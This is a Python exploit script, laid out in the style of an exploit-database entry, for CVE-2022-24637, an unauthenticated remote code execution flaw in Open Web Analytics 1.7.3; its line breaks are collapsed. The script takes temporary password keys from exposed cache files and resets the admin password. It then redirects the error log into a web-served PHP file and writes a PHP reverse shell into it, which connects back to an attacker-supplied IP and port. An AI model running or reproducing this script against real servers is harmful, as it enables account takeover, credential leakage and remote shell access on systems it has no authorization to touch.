Open Web Analytics 1.7.3 Remote Code Execution

# Exploit Title: Open Web Analytics 1.7.3 - Remote Code Execution (RCE)# Date: 2022-08-30# Exploit Author: Jacob Ebben# Vendor Homepage: https://www.openwebanalytics.com/# Software Link: https://github.com/Open-Web-Analytics# Version: <1.7.4# Tested on: Linux # CVE : CVE-2022-24637import argparseimport requestsimport base64import reimport randomimport stringimport hashlibfrom termcolor import coloreddef print_message(message, type):   if type == 'SUCCESS':      print('[' + colored('SUCCESS', 'green') +  '] ' + message)   elif type == 'INFO':      print('[' + colored('INFO', 'blue') +  '] ' + message)   elif type == 'WARNING':      print('[' + colored('WARNING', 'yellow') +  '] ' + message)   elif type == 'ALERT':      print('[' + colored('ALERT', 'yellow') +  '] ' + message)   elif type == 'ERROR':      print('[' + colored('ERROR', 'red') +  '] ' + message)def get_normalized_url(url):   if url[-1] != '/':      url += '/'   if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':      url = "http://" + url   return urldef get_proxy_protocol(url):   if url[0:8].lower() == 'https://':      return 'https'   return 'http'def get_random_string(length):   chars = string.ascii_letters + string.digits   return ''.join(random.choice(chars) for i in range(length))def get_cache_content(cache_raw):   regex_cache_base64 = r'\*(\w*)\*'   regex_result = re.search(regex_cache_base64, cache_raw)   if not regex_result:      print_message('The provided URL does not appear to be vulnerable ...', "ERROR")      exit()   else:      cache_base64 = regex_result.group(1)   return base64.b64decode(cache_base64).decode("ascii")def get_cache_username(cache):   regex_cache_username = r'"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"'   return re.search(regex_cache_username, cache).group(1)def get_cache_temppass(cache):   regex_cache_temppass = r'"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"'   return re.search(regex_cache_temppass, cache).group(1)def get_update_nonce(url):   try:      update_nonce_request = session.get(url, proxies=proxies)      regex_update_nonce = r'owa_nonce" value="(\w*)"'      update_nonce = re.search(regex_update_nonce, update_nonce_request.text).group(1)   except Exception as e:      print_message('An error occurred when attempting to update config!', "ERROR")      print(e)      exit()   else:      return update_nonceparser = argparse.ArgumentParser(description='Exploit for CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA)')parser.add_argument('TARGET', type=str,                   help='Target URL (Example: http://localhost/owa/ or https://victim.xyz:8000/)')parser.add_argument('ATTACKER_IP', type=str,                   help='Address for reverse shell listener on attacking machine')parser.add_argument('ATTACKER_PORT', type=str,                   help='Port for reverse shell listener on attacking machine')parser.add_argument('-u', '--username', default="admin", type=str,                  help='The username to exploit (Default: admin)')parser.add_argument('-p','--password', default=get_random_string(32), type=str,                  help='The new password for the exploited user')parser.add_argument('-P','--proxy', type=str,                  help='HTTP proxy address (Example: http://127.0.0.1:8080/)')parser.add_argument('-c', '--check', action='store_true',                  help='Check vulnerability without exploitation')args = parser.parse_args()base_url = get_normalized_url(args.TARGET)login_url = base_url + "index.php?owa_do=base.loginForm"password_reset_url = base_url + "index.php?owa_do=base.usersPasswordEntry"update_config_url = base_url + "index.php?owa_do=base.optionsGeneral"username = args.usernamenew_password = args.passwordreverse_shell = '<?php $sock=fsockopen("' + args.ATTACKER_IP + '",'+ args.ATTACKER_PORT + ');$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'shell_filename = get_random_string(8) + '.php'shell_url = base_url + 'owa-data/caches/' + shell_filenameif args.proxy:   proxy_url = get_normalized_url(args.proxy)   proxy_protocol = get_proxy_protocol(proxy_url)   proxies = { proxy_protocol: proxy_url }else:   proxies = {}session = requests.Session()try:   mainpage_request = session.get(base_url, proxies=proxies)except Exception as e:   print_message('Could not connect to "' + base_url, "ERROR")   exit()else:   print_message('Connected to "' + base_url + '" successfully!', "SUCCESS")if 'Open Web Analytics' not in mainpage_request.text:   print_message('Could not confirm whether this website is hosting OWA! Continuing exploitation...', "WARNING")elif 'version=1.7.3' not in mainpage_request.text:   print_message('Could not confirm whether this OWA instance is vulnerable! Continuing exploitation...', "WARNING")else:   print_message('The webserver indicates a vulnerable version!', "ALERT")try:   data = {      "owa_user_id": username,       "owa_password": username,       "owa_action": "base.login"   }   session.post(login_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred during the login attempt!', "ERROR")   print(e)   exit()else:   print_message('Attempting to generate cache for "' + username + '" user', "INFO")print_message('Attempting to find cache of "' + username + '" user', "INFO")found = Falsefor key in range(100):   user_id = 'user_id' + str(key)   userid_hash = hashlib.md5(user_id.encode()).hexdigest()    filename = userid_hash + '.php'   cache_url = base_url + "owa-data/caches/" + str(key) + "/owa_user/" + filename   cache_request = requests.get(cache_url, proxies=proxies)   if cache_request.status_code != 200:      continue;   cache_raw = cache_request.text   cache = get_cache_content(cache_raw)   cache_username = get_cache_username(cache)   if cache_username != username:      print_message('The temporary password for a different user was found. "' + cache_username + '": ' + get_cache_temppass(cache), "INFO")      continue;   else:      found = True      breakif not found:   print_message('No cache found. Are you sure "' + username + '" is a valid user?', "ERROR")   exit()cache_temppass = get_cache_temppass(cache)print_message('Found temporary password for user "' + username + '": ' + cache_temppass, "INFO")if args.check:   print_message('The system appears to be vulnerable!', "ALERT")   exit()try:   data = {      "owa_password": new_password,       "owa_password2": new_password,       "owa_k": cache_temppass,       "owa_action":       "base.usersChangePassword"   }   session.post(password_reset_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred when changing the user password!', "ERROR")   print(e)   exit()else:   print_message('Changed the password of "' + username + '" to "' + new_password + '"', "INFO")try:   data = {      "owa_user_id": username,       "owa_password": new_password,       "owa_action": "base.login"   }   session.post(login_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred during the login attempt!', "ERROR")   print(e)   exit()else:   print_message('Logged in as "' + username + '" user', "SUCCESS")nonce = get_update_nonce(update_config_url)try:   log_location = "/var/www/html/owa/owa-data/caches/" + shell_filename   data = {      "owa_nonce": nonce,       "owa_action": "base.optionsUpdate",       "owa_config[base.error_log_file]": log_location,       "owa_config[base.error_log_level]": 2   }   session.post(update_config_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred when attempting to update config!', "ERROR")   print(e)   exit()else:   print_message('Creating log file', "INFO")nonce = get_update_nonce(update_config_url)try:   data = {      "owa_nonce": nonce,       "owa_action": "base.optionsUpdate",       "owa_config[shell]": reverse_shell    }   session.post(update_config_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred when attempting to update config!', "ERROR")   print(e)   exit()else:   print_message('Wrote payload to log file', "INFO")try:   session.get(shell_url, proxies=proxies)except Exception as e:   print(e)else:   print_message('Triggering payload! Check your listener!', "SUCCESS")   print_message('You can trigger the payload again at "' + shell_url + '"' , "INFO")